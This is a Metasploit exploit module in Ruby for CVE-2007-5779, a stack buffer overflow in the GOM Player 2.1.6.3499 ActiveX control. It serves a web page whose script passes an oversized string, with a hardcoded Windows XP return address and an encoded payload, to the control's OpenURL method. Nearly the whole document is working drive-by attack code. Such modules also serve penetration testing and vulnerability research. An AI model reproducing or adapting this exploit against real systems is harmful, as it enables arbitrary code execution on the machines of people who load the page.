This Metasploit module exploits a stack overflow in GOM Player 2.1.6.3499. By sending an overly long string to the "OpenUrl()" method located in the GomWeb3.dll Control, an attacker may be able to execute arbitrary code.
e52ce249c3a1c0f68a77083caf340c36d133e256677fdee9b7cf8c3389ec5026##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'GOM Player ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in GOM Player 2.1.6.3499.
By sending an overly long string to the "OpenUrl()" method located
in the GomWeb3.dll Control, an attacker may be able to execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-5779'],
[ 'OSVDB', '38282'],
[ 'URL', 'http://secunia.com/advisories/27418/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 Pro English', { 'Ret' => 0x7e497c7b } ], # 10/29/07
],
'DisclosureDate' => 'Oct 27 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
sploit = rand_text_english(506) + [target.ret].pack('V')
sploit << p.encoded + rand_text_english(1024 - p.encoded.length)
# Build out the message
content = %Q|
<html>
<object classid='clsid:DC07C721-79E0-4BD4-A89F-C90871946A31' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.OpenURL(#{strname});
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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